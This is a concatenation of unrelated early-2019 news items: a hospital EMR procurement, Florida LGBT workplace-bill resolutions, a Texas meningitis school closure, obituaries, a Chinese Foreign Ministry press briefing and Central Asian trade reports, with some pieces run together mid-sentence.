Private equity pushes into healthcare: 9 latest dealsThe University of Toledo Medical Center in Ohio has issued a request for proposal to the institution's purchasing services for a new EMR system.

The news was first reported by HIStalk on Feb. 12.

According to the RFP, the academic medical center is currently using a set of former McKesson modules that was sunset when Allscripts acquired McKesson's IT assets in 2017, as well as a number of other third-party systems such as athenahealth.

UTMC wants to fully implement a new EMR by December 2020, according to the RFP. Proposals are due by 3 p.m. on March 12, and UTMC expects to award a contract in May.

Becker's Hospital Review has reached out to UTMC for comment. This article will be updated as more information becomes available.Miami-based Gastro Health entered into an agreement to acquire Longwood, Fla.-based Giles Gastroenterology Center, doing business as Gastroenterology Specialists.

What you should know:

1. The acquisition is Gastro Health's second in the central Florida market. Gastro Health is in the process of expanding across the state. The practice has an extensive presence in southern Florida.

2. Gastroenterology Specialists was established in 1986. Andrew Giles, MD, Anthony Coppola, MD, and Anthony Lin, MD, will all join Gastro Health.

3. Dr. Giles said, "We are pleased and excited to join Gastro Health. The combination of our shared values having quality personnel and compassionate care, along with Gastro Health's robust infrastructure, allows us to expand our capability and to improve the health of our patients."

4. Gastro Health CEO Joseph Garcia lauded Gastroenterology Specialists, saying the acquisition, "enhances our ability to deliver quality care to the Orlando market."Trevor Sawallish, senior vice president of clinical operations and COO of Minneapolis/St. Paul-based Children's Minnesota, shared his insights on ambulatory services with Becker's ASC Review.

Note: Responses have been edited for style and clarity.

Question: What is the biggest growth opportunity for ASCs in 2019?

Trevor Sawallish: As a pediatric-focused provider, we continue to see growth potential in services for children and families across specialties. Children's has recently been accredited a Level I surgery center operation by the American College of Surgeons, and we believe this recognition reinforces and recognizes the unique service we offer for kids who need procedures/surgery.

We also believe that working with payers to highlight our pediatric-focused, low-cost, high-quality center for their members represents a growth opportunity that will benefit plans and patients. We have the opportunity to utilize our ASC to flex demand from our main hospital campuses. Each year, we will have periods of increased demand, where we need to optimize hospital capacity. There is an opportunity to transition appropriate surgical cases to the ASC to relieve demand on hospital services, while meeting the needs of our patients and families.

Q: As an ASC leader, how do you hope to capitalize on growth opportunities?

TS: We hope to capitalize on the following opportunities:

 We will look to promote our differentiated services, quality and patient satisfaction outcomes directly to patients. We receive tremendous responses from our patients and families about their experience at our ASC. We need to continue to promote our outcomes and access.

 We will emphasize our ASC more consistently in our scheduling practices.

 We will work with our broad network of pediatric providers to expand services, capability and availability of proximal physician office space to make it easier to choose our ASC.

Q: What are the greatest challenges you expect to face in 2019?

TS: Physician demand alignment  both independent and employed physicians are faced with making critical decisions on how to allocate their limited capacity between hospital-based/inpatient, clinic and ASC practices. We need to continue to support our physicians and how they manage their practice, but look to emphasize the need for lower-cost, high-quality services. Consumerism will drive site selection based on price, quality and experience:the value proposition. We will be focused on making our pediatric-focused ASC the easiest and best choice for physicians and the families for which they are caring.

Q: How do you see the ASC industry growing in the next five to 10 years?

TS. With continued development of value-based strategies to provide a high-quality, lower-cost portfolio of services, we expect to see the transition of inpatient surgeries to an outpatient setting with ASCs playing a pivotal role. Our role is to ensure that shift is to an ASC environment that is also dedicated to caring for kids.

In our local market, we expect to see quite a bit of growth and competition as a number of adult and physician-owned ASCs lead the way advancing clinical services, specifically orthopedics and gastroenterology.

To participate in future Becker's Q&As, contact Rachel Popa at rpopa@beckershealthcare.com.

For a deeper dive into ASC industry trends, attend the Becker's 17th Annual Future of Spine + Spine, Orthopedic & Pain Management-Driven ASC in Chicago, June 13-15, 2019. Click here to learn more and register.The past is never dead. Its not even past.

That line from William Faulkner is usually used in reference to the South and its ghostly connections to the time of our grandparents. But more and more, it applies to politicians who find themselves squirming when youthful antics suddenly become front-page news.

Mind you, its not a completely new phenomenon. Politicians have been haunted by old charges dredged up by opponents ever since George Washington was accused of being a Deist instead of a Christian, which was probably true.

But today the practice of opposition research has become an art form. If youre running for office or getting ready for confirmation hearings, youd better hope you didnt do anything too wacky back in the day  or if you did, nobody remembers it.

Now the spotlight is on the state of Virginia, where the top three officials are fighting for their political lives.

Gov. Ralph Northams yearbook from medical school, bizarrely and completely lacking context, had a photo of one person in blackface and another in a Ku Klux Klan outfit.

First he said he was in one of the photos (though he wouldnt say which one), and then he denied that role  though he admitted appearing in blackface for a Michael Jackson dance contest.

Northam is resisting huge pressure to resign, but now the drama has taken a more disturbing turn. Lt. Gov. Justin Fairfax has been accused by not one but two women of sexual assault. Thats not just a youthful prank if it happened. Its a crime, and the statute of limitations has not expired on one of the allegations.

If both of those officials step down, the governorship would pass to Attorney General Mark Herring  except that he also has admitted to putting on blackface when he dressed up as a rapper for a college party.

Incredibly, the next person in line is a Republican  in a state where Democrats just trounced the GOP in November in almost every major contest.

In Virginia, and the rest of the country, stunned voters are trying to sort through all this.

Is a dumb photo in a college yearbook OK, but not one from medical school, when students are a few years older? How do we come to grips with the use of blackface years ago by not just clueless conservatives but liberals such as Joy Behar, Ted Danson and Jimmy Kimmel?

Were all trying to figure out what should be forgiven and whats a deal-breaker, but theres no one-size-fits-all solution. Each case is unique, and so are the political pressures that surround them.

Maybe the solution is to trust democracy. In the end, voters reward the behavior they like and punish the stuff they dont like. Its not a perfect answer, but its the best one available.

And its slowly working. Mocking another culture is no longer socially acceptable  not that it ever should have been. The mysteries of dating are being clarified by one important point: No means no. If you think a joke or costume might be offensive, it likely is.

Best of all, this could be soaking in for a few teens or 20-somethings. They might not post that photo or send that tweet that is going to boomerang on them far down the road.

But lets face it. Most of us dont have that judgment when were young. These scandals will keep popping up on and off, in both parties, from the people you might least expect. Just be ready for the next one, and decide for yourself if its too much, or too old. Good luck; youll need it.

Thomas Taschinger, TTaschinger@BeaumontEnterprise.com, is the editorial page editor of The Beaumont Enterprise. Follow him on Twitter at @PoliticalTomThe North Bay Village City Commission unanimously supported a resolution Tuesday urging the Florida Legislature to support a bill that will protect LGBT people from workplace discrimination.

Being a champion for workplace protections is extremely important to me, said Commissioner Julianna Strout. [Senator] Jason Pizzo sponsored this bill and I hope more will follow his lead as well. We need to create a ripple effect to ensure change in Tallahassee no matter how large or small your city is - you have power in creating change.

Strout has been an advocate for LGBT rights since her college days when she was crowned Miss Rhode Island and went on to compete in the Miss America pageant. She said she didnt make the finals because when she was asked about her thoughts on one day having a lesbian Miss America she stood with the LGBT community.

My support for LGBT rights cost me the title down the line, she said. So I may not have won the crown and sash, but now I am able to implement those initiatives.

The Chair of the Republican Party of Florida, State Senator Joe Gruters (R-Sarasota), introduced the bill giving LGBT activists hope it would have a chance at passing in the Republican-dominated Florida legislature.

I am so proud of the commissioners in North Bay Village and Senator Jason Pizzo for supporting the Florida Inclusive Workforce Act, said Tony Lima, executive director of SAVE. Its imperative that we try to protect as many people as possible in the shortest amount of time.

Some LGBT activists have come out in opposition to the bill because it only covers discrimination in the workplace, leaving out housing and public accommodations.

There also appears to be confusion over whether FIWA covers the transgender community.

FIWA would protect all of the LGBT community from workplace discrimination by adding both sexual orientation and gender identity to Floridas Civil Rights Act. Additionally, a coalition of local trans groups came together releasing a statement of support of the bill.

Visit SFGN.com/FIWA for more coverage from SFGN.The Newton ISD employee being treated for meningitis does not have a type that poses a significant threat to students, faculty or family members, school district and health officials said Tuesday.

The patient, whose name and job have not been publicly released, has been diagnosed with a type of bacterial meningitis brought on by an invasive form of the bacteria that typically causes pneumonia, the Texas Department of State Health Services confirmed. Agency spokesman Chris Van Deusen said that pneumonia strain not highly contagious.

Van Deusen said it is much less of a concern than meningococcal meningitis, which has death rates two to three times higher than its pneumococcal counterpart and is more likely to affect children and college-aged individuals.

Neisseria meningitidis is what you see on college campuses, and what people are worried about when they hear the word meningitis, added Dr. Richard Pham, a primary care physician at Christus Family Practice Clinic in Jasper, where the patient from Newton was treated.

The school district will leave all three of its campuses closed through the end of the week, however, and workers will continue giving each campus a thorough cleaning, Superintendent Michelle Barrow said via Facebook. She said district buses will be disinfected as well.

District employees are handling much of the work. But on Tuesday, a team from a disaster recovery and decontamination company based in Nederland, some in full-body protective clothing and others wearing breathing masks, worked at the elementary campus.

The health and safety of the districts students and staff is always a priority, Barrow said in a separate statement. Our children are our future. We are grateful that the situation we recently experienced was not as critical as it could have been.

The school closures were announced Sunday. Classes for Thursday and Friday had previously been canceled.

ORIGINAL STORY: Newton ISD schools closed after meningitis report

Two vaccines are available for the specific strain of bacteria found in the school employee. People 19 and older are encouraged to get one or both of these pneumonia vaccines.

Pham said the separate meningococcal vaccine should be administered to children at age 11 or 12, and a booster should be given about five years later.

Those too young to be vaccinated and people with compromised immune systems can still rely on community or herd immunity, which reduces the opportunity for the disease to spread within a sufficiently vaccinated population, according to the U.S. Centers for Disease Control and Prevention.

Van Deusen, the state health department spokesman, recommended everyone follow basic hygiene rules like those taught in grade school.

Cover your cough or sneeze, wash your hands and disinfect what youre touching, he said. Basic sanitation practices go a long way.

haley.bruyn@beaumontenterprise.comCity commissioners on Tuesday tabled action on a resolution that urged the Florida Legislature to support two separate, bipartisan bills that ban anti-LGBT discrimination in the workplace.

It wasnt what they had originally planned to do.

But with Vice Mayor Tom Green absent and two LGBT factions sparring over the measure, the commission hesitated. Commissioner Julie Carson opposed the resolution and Commissioner Gary Resnick couldnt vote due to a conflict.

So the commission agreed to revisit the issue sometime in the next month.

Im glad it will be a continuing conversation. I really wish it had passed, said Oakland Park resident Jen Laws, a public policy consultant and trans man who attended the meeting. At the end of the day, work place protections provide an avenue in which we can achieve other metrics of equality.

The single resolution included support for both the Florida Inclusive Workforce Act (FIWA) and the Florida Competitive Workforce Act (FCWA). Both bills prohibit employers from discriminating based on sexual orientation and gender identity and would protect the LGBT community by adding sexual orientation and gender identity to Floridas Civil Rights Act.

However, the Competitive Workforce Act additionally bans discrimination based on sexual orientation and gender identity in public accommodations and housing. Supporters of the Competitive Workforce Act believe that accepting anything less is a compromise, but the state Legislature has repeatedly refused to consider the measure for more than a decade.

Carson refused to support the resolution because FIWA doesnt address discrimination in hotels, restaurants, and other public accommodations.

Activist Tony Lima, executive director of SAVE, said he was disappointed the resolution was tabled.

We are trying to protect as many people as possible in the shortest amount of time, Lima said. He believes FIWA has a good chance of becoming law because it is good for business.

The Competitive Workforce Act has been dead on arrival in Tallahassee for the past 14 years because the Republicans in Tallahassee arent interested in hearing the bill, Lima said. FIWA is something that is more palatable.

Resident Sal Torre, who opposes FIWA, said the city should be advocating for and supporting the strongest bill possible, referring to the Competitive Workforce Act.

Now is not the time for us to make concessions and support anything less, Torre told the commission. He urged the commission to table the measure.

Wilton Manors Mayor Justin Flippen said the commission recognized the merits of both resolutions.

We are not going to take a position for which one we support, Flippen said. Both measures are not 100 percent but we feel its our duty to support whichever measure will take us closer to the finish line. We dont get involved in the lobbying. The cause of equality is greater than any individual organization.

Equality Florida, which supports the Comprehensive Workforce Act, has released a statement opposing FIWA because it doesnt address public accommodations.

FIWA was filed by the chair of the Republican Party of Florida, State Sen. Joe Gruters (R-Sarasota). It is a collaboration by Gruters, SAVE, the Palm Beach County Human Rights Council, Translatina and the Conservatives on the Right of Equality. Former State Rep. David Richardson (D-Miami Beach) also provided assistance with the bill.

The Wilton Manors resolution states that the link between strong anti-discrimination laws and the ability to draw the best and the brightest is the reason that 84 percent of the nations largest companies have adopted comprehensive anti-discrimination policies that include sexual orientation and gender identity.

Its still legal in Florida to fire someone because they are gay or lesbian except for a few local governments that have adopted regulations that prohibit discrimination in the workforce, Resnick said. This is important, because [someone] could be fired, even if they are doing the best job in the world.

Meanwhile on Tuesday the North Bay Village Commission unanimously passed a resolution urging the Florida Legislature to support FIWA. While earlier this month, the Lake Worth City Commission did so as well.

In January, newly-elected Florida Gov. Ron DeSantis signed an executive order that prohibits discrimination in state employment and state contracting but notably excluded LGBT people.

The order DeSantis signed, Reaffirming Commitment to Diversity in Government, prohibits discrimination on the basis of age, sex, race, color, religion, national origin, marital status, and disability, but says nothing about sexual orientation or gender identity.

In other business, the Commission:Linda Carol Morand, age 81, of Tazewell, VA passed away Tuesday, June 22, 2021 at Kingsport, TN. Born August 3, 1939 in Amonate, VA she was a daughter of the late Palmer A. Penland and Mabel Patrick Penland. Carol was active in the Tannersville community, her beloved valley. She was an avid BALTIMORE (February 13, 2019)Maryland Attorney General Brian E. Frosh announced today that Thurman Rufus Watson, 74, of Oxon Hill, was sentenced by Prince George's County Circuit Court Judge Tiffany Anderson to 20 years incarceration for sexual offense in the second degree, suspending all but 8 years, to be followed by 5 years of supervised probation. As required by law, Watson must register as a sex offender for the rest of his life.



In November 2018, after a four day jury trial, Watson was convicted of sexual offense in the second degree, practicing medicine without a license, and misrepresenting himself as a practitioner of medicine.



The female victim in this case testified at trial that she was sexually assaulted by Watson when she visited his home office on January 19, 2015. She was seeking treatment for weight loss and did not know that Watson was not a licensed physician. At the sentencing hearing, the victim told Judge Anderson that after the attack she felt ashamed and embarrassed but reported it to authorities shortly after the incident.



"Mr. Watson abused the trust we place in medical professionals, and preyed on an unsuspecting victim," said Attorney General Frosh. "Once he serves time behind bars, Watson will be known to the community as sex offender."



In making today's announcement, Attorney General Frosh thanked Assistant Attorney General Jerry E. Jones and investigators from the Office of the Attorney General and the Maryland Board of Physicians for their work on the case.Contact The Californians Robert Price at 661-395-7399, rprice@bakersfield.com or on Twitter: @stubblebuzz. His column appears on Sundays, Wednesdays and Saturdays; the views expressed are his own.Ethan Lindenberger says he got vaccinated, despite his parents' concerns, as soon as he turned 18. Having grown up as unvaccinated child, he turned to Reddit with questions on how to get vaccines.Man accused of having wives in 3 states arrested after fourth woman comes forwardA method commonly used by airline passengers to get cheaper fares is at the center of a court row between a German airline and one of its customers.Ethel Louise Gainer, 72, of Mechanicsville passed away on February 10, 2019 at her home surrounded by her family. Ethel was born on December 30, 1946 in Leonardtown, Maryland to the late Lawrence Raley Buckler, Sr. and late Mary Catherine "Sis" Smith (Ryce). Ethel was a graduate of Margaret Brent High School. She married David "Dave" Gainer on August 20, 1995. They celebrated over 23 years of marriage.



Ethel was the owner and operator of a fleet of school buses for St. Mary's County Public Schools. She loved her career driving a school bus. She took great pride in her buses and the safety of the children for over 38 years, retiring in June, 2018. If she transported your child, you knew they would be in the best of care. She transported as many as three generations from the same family on her buses over the years.



Having the sweetest personality, Ethel was quickly adopted into Dave's police department family making many friends who think so very highly of her. When Dave took up the hobby of flying airplanes with the Patuxent Aeromodeler's Club, she quickly became a favorite spectator as she loved to make and bring treats for the guys. Ethel will be dearly missed by her husband, children, extended family and friends, but our hearts are full knowing how fondly she will be remembered.



Ethel is survived by her husband, and four children, Catherine Stasch Guy (J.R.) of Mechanicsville, Joyce Stasch Seekford (David) of Mechanicsville, Mike Stasch, Jr. (Melanie) of Mechanicsville and David Joseph Gainer (Brandi) of Shady Side, Maryland. Also surviving are 3 siblings, 8 grandchildren and 3 great grandchildren. She is preceded in death by her brother, Lawrence "Teeny" Buckler.



Ethel's Life Celebration Memorial Service will be held on Friday, February 15, 2019 from 5pm to 8pm at Brinsfield Funeral Home, P.A., 30195 Three Notch Road, Charlotte Hall, MD 20622. Interment will be private. In lieu of flowers, memorial donations may be made to: Hospice of St. Mary's, Post Office Box 625, Leonardtown, MD 20650. Arrangements by the Brinsfield Funeral Home & Crematory, P.A., Charlotte Hall, MD



Foreign Ministry Spokesperson Hua Chunying's Regular Press Conference on February 13, 2019

2019/02/13

Q: The US Treasury Secretary Mnuchin and the Trade Representative Lighthizer arrived in Beijing yesterday. Do you have any details about their meetings today, what their agenda is, who they are seeing from the Chinese government? Will they meet Chinese leaders?

A: Regarding arrangements for the high-level trade consultation between China and the US, we will release information in a timely manner.

Q: Firstly, Russian Foreign Minister Sergey Lavrov said yesterday that Russia and China have expressed their willingness to join the international contact group to support Venezuelan settlement, but so far there has been no constructive reaction from the European Union. What is your comment? Secondly, reports say that China has been holding talks with Venezuelan political opposition to safeguard its investment in the country. Can you confirm that?

A: On your first question, in recent days, in order to promote the peaceful settlement of the Venezuelan issue, China has been in close contact and communication with all parties. We have been supportive of the efforts made by the international community to encourage Venezuela's government and opposition parties to seek out a political solution through dialogues under the framework of their Constitution. China stands ready to work with all parties and continue to play a constructive role for the peaceful settlement of the Venezuelan issue.

On your second question, I believe the reports you cited were made by the Wall Street Journal. I want to point out that some media has been churning out false information lately. I wonder why it has been acting like this. We hope that it could make media coverage in an objective and unbiased way. As for the Venezuelan issue, China believes that a political solution should be sought out through dialogue and consultation.

Q: We have noticed that after warning in Hungary that installing Huawei equipment will cause difficulties for US cooperation with Hungary, US State Secretary Mike Pompeo talked in Slovakia of the "need to guard against China's economic and other efforts to create dependence and manipulate your political system". The US wants to make sure its friends and partners are aware of the security risks associated with the procurement of China's goods. Besides, Pompeo also said in Poland that it would be conducive to the US deploying a military base in Poland if Poland were to give up its cooperation with China. Would you like to comment on that?

A: Just like you, we have been following Secretary Pompeo's visits to Central and Eastern Europe and are concerned about some of his remarks. I would like to point out that China and the US are fundamentally different: China never makes it its policy to interfere in other country's internal affairs, and manipulating other country's political affairs is neither interest nor forte of China. Who on earth has long been interfering in other country's internal affairs and sparing no efforts in manipulating other country's politics? The international community knows the answer very well and has its own clear judgment.

The US has been fabricating various unwarranted charges and cooking up all sorts of threat theories without any firm evidence. It all boils down to using state power to suppress the legitimate development rights and interests of Chinese enterprises and resorting to political intervention in economic behaviors. This is extremely hypocritical, unjust and immoral.

We hope the US will earnestly commit itself to the market principle of free and fair competition, and safeguard a fair, just and non-discriminatory market environment.

The US might find some wisdom in an ancient Chinese adage: An act of kindness, no matter how trivial, is worth performing, while an act of evil, no matter how small, must be shunned. I hope the US will do more to contribute to world peace and stability.

Q: An exhibition with the theme "Chinese People's Liberation Army (CPLA): A Force for World Peace" was launched at the UN headquarters in New York. UN Under-Secretary-General Atul Khare visited the exhibition and extolled China's unique and key role in the UN peacekeeping missions. He said that the progress made by UN peacekeeping operations would not be possible without the support from member states like China. Also according to the UN News, since 1990, China has sent over 39,000 peacekeepers, built over 13,000 kilometers of roads in the peacekeeping operation areas, provided medical treatments for more than 170,000 patients, and completed more than 300 armed escorts and patrols. The Peace Ark hospital ship of the Chinese Navy has visited 43 countries and provided medical service to over 230,000 local people. What is your comment?

A: Indeed, the "CPLA: A Force for World Peace" exhibition is now showing at the UN headquarters in New York. China's Permanent Mission to the UN has already issued a press release. We appreciate Under-Secretary-General Khare's positive remarks on the important role China has played for world peace and security.

China has always been a supporter and active participant of the UN peacekeeping operations. Devoted to be a builder and steady champion of world peace, China has been fully implementing the major measures announced by President Xi Jinping at the UN Leaders' Summit on Peacekeeping in September 2015. As a major contributor of troops and funding to UN peacekeeping missions, China has made outstanding contributions and fulfilled its international obligations in helping relevant countries and regions restore peace and stability and ensuring the safety of local people's life and property.

China will continue to actively support and participate in the UN peacekeeping operations and together with other countries, make greater contributions to upholding the spirit of the UN Charter and maintaining world peace and security.

Q: I have two questions. First, President Donald Trump said he would consider extending the deadline for the trade talks. What is your comment on this? Second, there's report that the US is set to use an executive order to essentially let the government stop US companies from doing business with foreign suppliers like Huawei. Do you have a comment?

A: On your first question, I'd refer you to the Ministry of Commerce for information of the China-US trade consultation.

On your second question, there have been quite a few similar reports recently. The US seems to try , by all means it can, mobilizing and lobbying so as to pressurize and smear Chinese companies for the reason that Chinese companies are not a secure option. I just saw questions from The Wall Street Journal, which mentioned Australian officials' concerns that participation of Chinese companies in the submarine cable business may enable China to transfer or monitor communication data. So far, the US and a few of its allies haven't found any proof of threat posed by Chinese companies to their countries' security. They only cited some clauses of China's National Intelligence Law. But when surrounded by nothing but slanders, have you really thought about this: it is an internationally accepted practice to protect national security through legislation and ask organizations and individuals to coordinate with a country's intelligence service. For example, Australia ratified the Australian Security Intelligence Organization Act early in 1979 and the Intelligence Services Act in 2001, both stipulating that in accordance with the government's requirements, the intelligence service can use force to obtain data and information of people and organizations under investigation. There are similar laws in the Five Eyes Alliance, namely the US, the UK, Canada, Australia and New Zealand, and other western countries including France and Germany, which you can all look up for .

Groundless accusations of security risks posed by Chinese equipment by the US and its few allies are wrong and biased interpretation of relevant Chinese laws. China's National Intelligence Law stipulates not only the obligations of organizations and citizens to lawfully support, assist and coordinate with the country's intelligence service, but also the obligations of national intelligence service to carry out its work according to law, respect and protect human rights, and uphold the lawful rights and interests of individuals and organizations. Besides, there are many provisions in other Chinese laws to protect the lawful rights and interests of organizations and citizens, including data security and privacy right. All sides should view this issue in a comprehensive and objective manner instead of making one-sided and wrong interpretation that is out of context.

The Chinese government has all along required Chinese companies to abide by local laws and regulations when doing business overseas. Countries should not apply double standards and need to view and handle this issue in an objective, comprehensive, reasonable and correct way instead of making all kinds of excuses to suppress foreign enterprises' legitimate development rights for their own benefit.By Abdul Kerimkhanov

ADB support in Uzbekistan is consistent with the country's national development priorities, guiding its desire to achieve industrial modernization and infrastructure development.

The Asian Development Bank (ADB) is developing a partnership strategy for Uzbekistan for 2019-2023 in order to support the country's transition to a dynamic market economy with a concomitant transformation of the state's role in the economy, Uzbek media reports.

Werner Lipak, ADB Director General for Central and West Asia, visited Uzbekistan from February 7 to 11.

He met with Deputy Prime Minister and Finance Minister Jamshid Kuchkarov, Deputy Prime Minister Elyor Ganiyev, Minister for Investment and Foreign Trade Sardor Umurzakov and Energy Minister Alisher Sultanov.

During the meetings with government officials, Lipak highly appreciated the progress of current reforms and assured ADB of further support for government priorities.

He noted the role of ADB as the largest development partner of Uzbekistan, which aims to further strengthen cooperation in the field of public-private partnership, energy, transport, agriculture and improve the public procurement system.

Lipak welcomed the creation of a new agency on public-private partnership in Uzbekistan and noted the continued support of ADB to the newly created and existing institutions.

He also discussed the ADB priority projects in Uzbekistan in 2019, the partnership strategy being developed, and the implementation of ongoing projects and programs.

Key areas of the strategy will be reforms in private sector development, equal development of regions, regional cooperation and integration.

ADB plans to mobilize more than $ one billion annually over the next three years to improve water supply and sanitation, transport infrastructure, and the generation and distribution of electricity.

In addition, funds will be directed to providing jobs for young people, creating jobs in rural areas, as well as expanding access to modern health care and supporting government reforms in economic management, as well as increasing social protection.

During the visit, Lipak visited ADB-financed projects in the Jizzakh and Tashkent regions and met with the beneficiaries of the project, which received funding for affordable housing and fruit and vegetable development through ADB credit lines through commercial banks.

He said that the affordable housing project has helped many families with moderate incomes improve their living conditions, and also served as a catalyst for job creation and private sector development.

According to an ADB representative, fruit and vegetable producers, along with access to long-term financial resources, were able to improve their entrepreneurial skills, access market and technology information, and have a steady income for themselves, their staff and suppliers.

Lipak also got acquainted with the automated system of electricity metering and control in Jizzakh, where he visited the regional data processing center and assessed the current work on installing meters.

As part of this project, ADB plans to eliminate commercial losses and improve energy efficiency by introducing new accurate digital meters for more than one million consumers in Bukhara, Jizzakh and Samarkand.

Since joining ADB in 1995, Uzbekistan has received 70 loans totaling $ 7.4 billion, including two private sector loans totaling $ 225 million.

ADB also provided $ 6 million in equity investments, $ 218 million in guarantees, and $ 87.3 million in technical assistance grants.

ADB signed five loans totaling $ 1.1 billion in 2018, to improve energy efficiency, improve primary health care services, access to finance for farmers and fruit and vegetable producers, and access to drinking water in western Uzbekistan.

The Asian Development Bank was conceived in the early 1960s as a financial institution that would be Asian in character and foster economic growth and cooperation in one of the poorest regions in the world.

ADB assists its members, and partners, by providing loans, technical assistance, grants, and equity investments to promote social and economic development.

The Bank is composed of 67 members, 48 of which are from the Asia and Pacific region.

In 2018, ADB committed four loans totaling $993 million to improve power generation efficiency, improve primary healthcare services, support horticulture-related farmers and businesses for fixed asset investments, and support ongoing reforms through better economic management in Uzbekistan.

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Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94

Follow us on Twitter @AzerNewsAzBy Trend

During the next meeting of the OSCE Security Committee, the delegation of Turkmenistan outlined the countrys priorities in the field of security, Trend reports with reference to the Turkmen Foreign Ministry.

It was noted that Turkmenistan is strictly guided by the principles of neutrality, non-intervention, adherence to peaceful, political means of resolving conflicts and contradictions.

Turkmenistan considers further joint efforts of states in the field of disarmament, non-proliferation of weapons of mass destruction, the fight against terrorism, extremism, drug trafficking to be priority areas in the international communitys activities, the report said.

The meeting participants were also informed about the cooperation of Turkmenistan with the the Counter-Terrorism Implementation Task Force (CTITF), the United Nations Regional Centre for Preventive Diplomacy for Central Asia (UNRCCA), the EU, the OSCE and its field mission in Ashgabat.

On Dec. 12, 1995, the UN General Assembly adopted the resolution Permanent Neutrality of Turkmenistan.

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Follow us on Twitter @AzerNewsAzBy Abdul Kerimkhanov

The Islamic Republic of Iran does not need to import wheat since the country has achieved self-sufficiency in the production of this grain crop. At the same time, Tehran can play the role of a bridge for exporting wheat produced by Russia and Kazakhstan to other countries.

Kazakh, Russian and Iranian Ministries of Agriculture signed a Memorandum of Understanding on wheat trade cooperation on February 12.

Kazakh Deputy Minister of Agriculture Gulmira Isayeva, Deputy Minister of Agricultural Jihad of Iran Ali Akbar Mehrfard and Russian Deputy Minister of Agriculture Sergey Levin signed a memorandum. A member of the Board (Minister) for Trade of the Eurasian Economic Commission Veronika Nikishina was also present at teh signing ceremony.

Gulmira Isayeva noted that the memorandum is an integral part of the Agreement on a free trade zone signed between the EAEU member states and Iran in 2018.

She recalled that in recent years, Iran has limited wheat import from other countries due to self-sufficiency, noting that Iran produces 12 million tons of wheat, which meets the country's domestic need.

But at the same time, the Iranian business, due to the underutilization of the milling capacity, which is about 50 percent, is interested in importing Kazakh and Russian wheat for further processing and export to other countries bordering with Iran. This market, in turn, accounts for more than 70 percent of global flour consumption, said Isayeva.

In turn, Iranian representative Ali Akbar Mehrfard stated that the development of relations with the EAEU countries will lead to a more dynamic growth of trade between the states. He added that the sides will continue to strengthen logistics and industrial cooperation.

The memorandum includes three very important aspects. Irans flour mills have great potential, and the regional market is about seven million tons. According to the memorandum, Russia and Kazakhstan can use Irans logistical capabilities and in transit to deliver their wheat to third countries. The second is the joint development of wheat SWAP contracts with Russia and Kazakhstan. The third is related to the conditions of temporary importation, said Ali Akbar Mehrfard.

Then, Sergey Levin noted that now commercial agents will be able to start their work closely and expressed hope that the actual shipment of wheat to Iran will begin soon within the framework of mutually beneficial contracts concluded.

As Levin said, trade in the products of the agro-industrial complex continues to be the most important component of the general trade and economic relations connecting the countries.

He added that the Iranian market is key in the region of the Middle East and the Persian Gulf for Russian exporters of agricultural products.

According to the memorandum, the Iranian side in relation to Kazakh and Russian wheat, within the framework of its national legislation, will promote freedom of transit through its territory, will support the import of wheat in the framework of SWAP contracts, including on exemptions from bans and other restrictions on Kazakhstani and Russian wheat.

The memorandum also provides for exemption from any customs duties or other equivalent fees, in respect of wheat imported from Kazakhstan and Russia for the transit purpose or temporary import.

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Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94

Follow us on Twitter @AzerNewsAzBy Abdul Kerimkhanov

Relations between Uzbekistan and Kyrgyzstan are close to a new level. The two countries eliminate all the difficulties in bilateral relations. These two states now have more active trade, and fewer problems on the border, many common interests have arisen. The dynamics of bilateral contacts has become positive.

The Kyrgyz Ministry of Agriculture, Food Industry and the Ministry of Agriculture of Uzbekistan reached an agreement to sign the Cooperation Program for 2019, the press service of the Kyrgyz Embassy in Tashkent reports, citing the results of the visit of Minister of Agriculture, Food Industry and Land Reclamation to Uzbekistan.

With the assistance of the Kyrgyz Embassy in Uzbekistan, Kyrgyz Minister of Agriculture, Food Industry and Land Reclamation Nurbek Murashev met with Uzbek Minister of Agriculture Jamshid Khodjaev, First Deputy Minister of Investment and Foreign Trade of Uzbekistan Sunatulla Bekenov and Vice Chairman of Uzkimyosanoat JSC Bakhtier Babakulov on February 12, 2019 in Tashkent.

The Ambassador of Kyrgyzstan in Uzbekistan Ibrahim Dzhunusov attended the meeting.

During the meeting, the parties discussed the delivery of potatoes from Kyrgyzstan to Uzbekistan, mineral fertilizers, cotton and wheat seeds to Kyrgyzstan, the elimination of barriers and restrictions to bilateral trade, as well as current issues of bilateral cooperation.

The Kyrgyz Ministry of Agriculture announced in November 2018, that the Uzbek side had provided a list of 17 companies that are allowed to import potatoes.

On this basis, private entrepreneurs of the Issyk-Kul region and Namangan Savdo Invest LLC, concluded an agreement on the supply of 2,000 tons of potatoes. To date, more than 66 tons have been shipped from Uzbekistan to the Issyk-Kul region.

The price of potatoes was set at 16 soms ($ 0.2) per kilogram, and sown potatoes - 22 soms ($ 0.3) per kilogram (in bulk) in 2018. Now its cost varies from 4.5 to 5 soms ($ 0.07) per kilogram, which is lower than its prime cost.

Diplomatic relations between Kyrgyzstan and Uzbekistan were established on February 16, 1993.

The trade turnover between Kyrgyzstan and Uzbekistan totalled $ 363 million in January-November 2018. This indicator grew by 55 percent compared to the same period of 2017.

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Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94

Follow us on Twitter @AzerNewsAzBy Trend

Iran imported 2,000 head of sheep from Romania on Feb. 12, said Hamid Varnaseri, managing director of the State Livestock Affairs Logistics (SLAL) Inc. affiliated with the Iranian Ministry of Agriculture, Trend reports via IRIB.

He added that the sheep will be slaughtered soon in the slaughterhouses and sold in accordance with the adjusted market prices.

He said that imports of 50,000 head of livestock per week are expected, adding that the imports will continue until the meat prices stabilize in the Iranian market.

Recently, the price of mutton in the Iranian market has risen significantly. Thus, the price of 1 kg of mutton varies within 1-1.2 million rials (about $23.8-$28.5).

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Follow us on Twitter @AzerNewsAzBy Trend

A meeting of the organizing committee for the first Caspian Economic Forum was held in Turkmenistans Ashgabat, Trend reports referring to a statement made by the Turkmen government.

The relevant report was submitted to the President of Turkmenistan Gurbanguly Berdimuhamedov. The head of state pointed out that topics such as the intensification of trade and economic relations, including forming conditions for the development and implementation of major investment projects in various fields, should be discussed during the event, the Turkmen Dovlet Habarlary (TDH) state agency reports.

"The upcoming First Caspian Economic Forum is one of the starting events of a strategic nature in the recent history of relations between our countries, based on the ratification of an important international legal document - the Convention on the Legal Status of the Caspian Sea, signed on August 12, 2018 following the Fifth Summit of the Heads of the Caspian States in Aktau," said the report.

